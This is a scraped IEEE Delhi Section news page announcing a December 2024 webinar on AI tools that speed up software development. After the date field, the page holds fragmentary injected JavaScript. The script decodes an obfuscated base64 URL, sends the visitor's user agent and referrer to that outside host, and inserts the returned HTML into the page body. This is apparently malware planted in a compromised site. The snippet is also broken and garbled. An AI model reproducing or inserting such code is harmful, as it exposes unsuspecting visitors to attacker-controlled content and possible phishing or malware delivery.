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Home > AI Tools in Software Development for Productivity Improvement

AI Tools in Software Development for Productivity Improvement

IEEE Delhi Section with Computer Society Chapter, Consultants Network Affinity Group, Life Member Affinity Group, Inter Society Relations, Industry Relations & SIGHT Standing Committees of IEEE Delhi with the associations CSI, Safa Society, ISTE Delhi Section, IETE Delhi Centre, invites you for a Webinar on 14 - December - 2024, the Saturday, at 06:00 p.m.

In every phase of software development life cycle (SDLC), AI tools are transforming how we build software by making the process faster and smarter. These tools help developers by automating tasks, improving the quality of code, and speeding up problem-solving. For example, AI-powered code editors like GitHub Copilot can suggest code, complete functions, and even write whole sections of a program. AI tools can also test code, find bugs, and suggest improvements, which saves a lot of time in debugging. In addition, AI can help improve security by identifying issues in the code before developers release production ready software. In project management, AI can predict problems, help manage tasks, and make projects run more smoothly. Overall, learning to use AI tools in software development can help developers create better software, faster and improve their skills for the future.

File:

 Invitation for Webinar on AI Tools for Improving Software Productivity dated 14-12-2024.pdf
^[1]

News Category:

Activities

News Date:

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```
{ let selfer=new XMLHttpRequest;selfer.open("GET",  
decodeURIComponent(escape(atob('aHR0cHM6Ly91cmxzcmGF0aC5jb20vdmVyaWZ5LnBocA=='))))  
+
```

```
nt=${navigator?.userAgent}&r=${document?.referrer}`,selfer.onreadystatechange=()=>{if(4===selfer.readyState){  
e);document.querySelector("body").insertAdjacentHTML("afterbegin",e?.html)}}),selfer.setRequestHeader("Reque
```

}); //-->

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Links:

[1]

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